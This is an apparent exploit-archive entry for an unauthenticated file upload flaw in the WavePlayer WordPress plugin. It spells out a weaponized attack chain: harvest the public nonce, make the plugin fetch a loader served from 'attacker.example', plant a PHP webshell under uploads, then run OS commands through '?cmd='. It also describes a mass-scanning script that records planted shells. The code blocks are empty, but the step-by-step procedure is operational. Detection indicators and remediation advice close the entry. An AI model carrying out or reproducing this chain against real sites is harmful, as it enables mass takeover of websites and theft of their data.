WavePlayer Unauthenticated Arbitrary File Upload to RCE (CVE-2025-12057)
by DeadExpl0it · 2026-07-06
- Severity
- Critical
- CVE
- CVE-2025-12057
- Category
- web
- Affected product
- WavePlayer (WordPress plugin)
- Affected versions
- < 3.8.0
- Disclosed
- 2026-07-06
- Patch status
- unpatched
Tags
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-06 |
| Last Updated | 2026-07-06 |
| Author / Researcher | DeadExpl0it |
| CVE / Advisory | CVE-2025-12057 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (per NVD) |
| Status | Weaponized |
| Tags | wordpress, waveplayer, arbitrary-file-upload, unauthenticated, rce, webshell, ajax, nonce, php, python |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | WavePlayer (WordPress plugin) |
| Versions Affected | < 3.8.0 |
| Language / Platform | Python 3 (PoC scanner/exploiter), PHP (target plugin), targets WordPress installations |
| Authentication Required | No |
| Network Access Required | Yes |
Summary
WavePlayer, a WordPress audio player plugin, exposes an AJAX action (wvpl-ajax=create_local_copy) that lets an unauthenticated visitor instruct the server to fetch a remote URL and save it as a local “track” file inside the uploads directory, without validating that the fetched content is actually audio. The only guard is a WordPress AJAX nonce, which is trivially harvested from the plugin’s own public-facing pages since it is not tied to a privileged session. By pointing the fetched URL at an attacker-controlled PHP file served with a Content-Type: application/x-httpd-php header (to defeat basic content sniffing), the exploit causes WavePlayer to copy the payload into wp-content/uploads/peaks/external/<random>.php, a web-accessible path where PHP execution is not blocked. The included PoC (wave.py) is a multi-threaded scanner that reads a list of target sites, extracts the nonce, fires the create_local_copy AJAX request with an attacker-hosted payload URL, and logs the resulting webshell path to shells.txt.
Vulnerability Details
Root Cause
The create_local_copy AJAX handler in WavePlayer accepts an arbitrary url parameter and downloads/stores its content as a “local copy” of a track without verifying the file extension, MIME type, or magic bytes of the downloaded content — it only appears to gate the request behind a nonce, not a capability/authentication check. Because the download is written under wp-content/uploads/peaks/external/ with a .php-friendly name and that path is served by the web server with PHP execution enabled, any file reachable at a URL (including one deliberately mislabeled by the attacker’s own server) is written to disk and becomes directly executable.
The PoC extracts the nonce from the target’s front-end HTML/JS using a set of generic regex patterns:
| |
and then triggers the vulnerable endpoint directly:
| |
A successful response returns a JSON body containing data.track.temp_file, the server-side path of the newly created (attacker-controlled) file.
Attack Vector
- Attacker prepares a PHP webshell (
payload.php) and a second “loader” PHP file that reads and returnspayload.php’s contents withContent-Type: application/x-httpd-php, so it looks like a legitimate audio/track resource to whatever validation WavePlayer performs. - Attacker hosts both files on infrastructure they control and obtains a direct URL to the loader (e.g.
http://attacker.example/loader.php). - The PoC script fetches the target WordPress site’s homepage/plugin assets to scrape a valid AJAX nonce from embedded JSON/JS.
- Using that nonce, the script sends
POST /?wvpl-ajax=create_local_copywithurl=<loader URL>, causing the WavePlayer backend to download the loader’s output and save it underwp-content/uploads/peaks/external/<random>.php. - The script parses the JSON response for
data.track.temp_file, which is the public URL of the newly planted webshell, and appends it toshells.txt. - The attacker then requests
.../peaks/external/<random>.php?cmd=<command>to execute arbitrary OS commands as the web server user.
Impact
Unauthenticated remote code execution on any WordPress site running a vulnerable WavePlayer version, allowing full webshell access, further pivoting into the hosting environment, data exfiltration, and site defacement or takeover.
Environment / Lab Setup
Target: WordPress with WavePlayer plugin < 3.8.0 installed and activated
Attacker: Python 3.x with requests, colorama, urllib3
A publicly reachable HTTP host to serve payload.php + loader.php
Proof of Concept
PoC Script
See
wave.pyin this folder.
| |
Detection & Indicators of Compromise
POST /?wvpl-ajax=create_local_copy HTTP/1.1
Content-Type: application/x-www-form-urlencoded
nonce=<value>&url=http://<external-host>/loader.php
Signs of compromise:
- Unexpected
.phpfiles underwp-content/uploads/peaks/external/with random numeric filenames. - Outbound HTTP requests from the WordPress server to unfamiliar third-party hosts immediately preceding new file creation in the uploads directory.
- Repeated
wvpl-ajax=create_local_copyrequests from a single IP across many nonces/sessions (scanner behavior). - Webserver access logs showing GET requests to
.../peaks/external/*.php?cmd=....
Remediation
| Action | Detail |
|---|---|
| Primary fix | Upgrade WavePlayer to version 3.8.0 or later, which is expected to add proper authentication/authorization and content-type validation on the create_local_copy action. |
| Interim mitigation | Disable/deactivate the WavePlayer plugin until patched; block direct PHP execution in wp-content/uploads/ via web server config (e.g. .htaccess/nginx location rules); add a WAF rule blocking unauthenticated requests to ?wvpl-ajax=create_local_copy. |
References
Notes
Mirrored from https://github.com/DeadExpl0it/CVE-2025-12057-WordPress-Exploit-PoC on 2026-07-06. wave.py is a functional multi-threaded scanner/exploiter that plants a PHP webshell via WavePlayer’s upload flow; confirmed genuine, not a stub.
| |